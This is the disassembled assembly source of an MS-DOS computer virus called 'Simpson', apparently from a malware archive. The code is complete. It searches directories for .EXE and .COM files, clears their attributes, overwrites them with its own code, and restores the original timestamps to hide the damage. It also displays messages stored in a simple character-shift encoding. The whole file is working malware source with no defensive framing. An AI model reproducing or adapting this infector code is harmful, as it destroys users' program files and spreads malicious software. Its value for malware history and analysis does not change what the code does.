MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.simpson.asm
2021-01-12 17:58:25 -06:00

382 lines
7.9 KiB
NASM

PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ SIMPSON ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 4-Dec-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 2Eh
data_10e equ 39Ah ;*
data_11e equ 39Ch ;*
data_12e equ 39Eh ;*
data_13e equ 3A0h ;*
data_14e equ 5845h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
simpson proc far
start:
push si
xor si,si ; Zero register
loc_1:
call sub_2
or ax,ax ; Zero ?
jz loc_2 ; Jump if zero
call sub_1
inc si
inc data_8
jmp short loc_3
loc_2:
mov dx,38Bh
mov ah,3Bh ; ';'
int 21h ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
inc si
loc_3:
cmp si,data_6
jl loc_1 ; Jump if <
cmp byte ptr data_8,0
je loc_4 ; Jump if equal
mov ax,2BAh
push ax
call sub_5
pop cx
jmp short loc_8
loc_4:
cmp byte ptr data_7,6
jbe loc_7 ; Jump if below or =
xor si,si ; Zero register
jmp short loc_6
loc_5:
mov bx,si
shl bx,1 ; Shift w/zeros fill
push data_2[bx]
call sub_5
pop cx
inc si
loc_6:
cmp si,3
jl loc_5 ; Jump if <
jmp short loc_8
loc_7:
mov ax,2BAh
push ax
call sub_5
pop cx
loc_8:
jmp short $+2 ; delay for I/O
pop si
retn
simpson endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
mov dx,data_3
add dx,1Eh
xor cx,cx ; Zero register
mov al,1
mov ah,43h ; 'C'
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
mov ax,data_3
add ax,1Eh
push ax
call sub_8
pop cx
mov bx,ds:data_10e
mov cx,data_5
mov dx,data_4
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
call sub_4
call sub_9
jmp short $+2 ; delay for I/O
retn
sub_1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
mov ax,38Eh
push ax
call sub_6
pop cx
cmp ax,12h
je loc_12 ; Jump if equal
call sub_3
or ax,ax ; Zero ?
jz loc_9 ; Jump if zero
mov ax,1
jmp short loc_ret_17
jmp short loc_12
loc_9:
jmp short loc_11
loc_10:
call sub_3
or ax,ax ; Zero ?
jz loc_11 ; Jump if zero
mov ax,1
jmp short loc_ret_17
loc_11:
call sub_7
cmp ax,12h
jne loc_10 ; Jump if not equal
loc_12:
mov ax,394h
push ax
call sub_6
pop cx
cmp ax,12h
je loc_16 ; Jump if equal
call sub_3
or ax,ax ; Zero ?
jz loc_13 ; Jump if zero
mov ax,1
jmp short loc_ret_17
jmp short loc_16
loc_13:
jmp short loc_15
loc_14:
call sub_3
or ax,ax ; Zero ?
jz loc_15 ; Jump if zero
mov ax,1
jmp short loc_ret_17
loc_15:
call sub_7
cmp ax,12h
jne loc_14 ; Jump if not equal
loc_16:
xor ax,ax ; Zero register
jmp short loc_ret_17
loc_ret_17:
retn
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
push si
mov bx,data_3
mov ax,[bx+18h]
mov ds:data_11e,ax
mov bx,data_3
mov ax,[bx+16h]
mov ds:data_12e,ax
mov ax,data_3
add ax,1Eh
push ax
call sub_8
pop cx
mov bx,ds:data_10e
mov cx,14h
mov dx,data_13e
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
call sub_4
call sub_9
xor si,si ; Zero register
jmp short loc_20
loc_18:
mov al,ds:data_13e[si]
mov bx,data_4
cmp al,[bx+si]
je loc_19 ; Jump if equal
mov ax,1
jmp short loc_21
loc_19:
inc si
loc_20:
cmp si,14h
jl loc_18 ; Jump if <
inc data_7
xor ax,ax ; Zero register
jmp short loc_21
loc_21:
pop si
retn
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
mov al,1
mov bx,ds:data_10e
mov cx,ds:data_12e
mov dx,ds:data_11e
mov ah,57h ; 'W'
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
jmp short $+2 ; delay for I/O
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
push bp
mov bp,sp
push si
mov si,[bp+4]
jmp short loc_24
loc_23:
sub byte ptr [si],0Ah
inc si
loc_24:
cmp byte ptr [si],0
jne loc_23 ; Jump if not equal
mov dx,[bp+4]
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
jmp short $+2 ; delay for I/O
pop si
pop bp
retn
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
push bp
mov bp,sp
mov dx,[bp+4]
mov cx,0FFh
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jmp short $+2 ; delay for I/O
pop bp
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jmp short $+2 ; delay for I/O
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
push bp
mov bp,sp
mov dx,[bp+4]
mov al,2
mov ah,3Dh ; '='
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov ds:data_10e,ax
jmp short $+2 ; delay for I/O
pop bp
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
mov bx,ds:data_10e
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
jmp short $+2 ; delay for I/O
retn
sub_9 endp
pop ss
adc al,5Ah ; 'Z'
jl $+7Bh ; Jump if <
jno $+7Eh ; Jump if not overflw
db 'kw*~yy*lsq*~y*ps~*sx*wowy|'
db 83h, 2Eh, 00h
data_2 dw 2F1h ; Data table (indexed access)
db 2Ah, 03h, 63h, 03h
data_3 dw 80h
db 58h, 58h, 00h
data_4 dw 100h
data_5 dw 29Ah
data_6 dw 4
data_7 db 0
data_8 db 0
db 17h, 14h, 13h
db 'XOa]*PVK]R++**cy'
db 7Fh, 7Ch, 2Ah, 7Dh, 83h
db '}~ow*rk}*loox*sxpom~on*'
db 81h
db 's~r*~ro.'
db 00h, 17h, 14h, 13h, 73h, 78h
db 6Dh, 7Fh
db '|klvo*nomk'
db 83h, 2Ah, 79h, 70h, 2Ah, 56h
db 'OZ\Y]c*;8::6*k*'
db 80h, 73h, 7Ch, 7Fh, 7Dh, 2Ah
db 73h, 78h, 80h, 6Fh, 78h, 7Eh
db 6Fh, 6Eh, 2Ah, 6Ch, 83h, 2Eh
db 00h, 17h, 14h, 13h
db 'ZMW<*sx*T'
db 7Fh
db 'xo*yp*;CC:8**Qyyn*v'
db 7Fh, 6Dh, 75h, 2Bh, 17h, 14h
db 2Eh
db 0
data_9 db 2Eh
db 2Eh
db 00h, 2Ah, 2Eh, 45h
db 58h, 45h, 00h
db 2Ah, 2Eh, 43h, 4Fh, 4Dh
db 0
seg_a ends
end start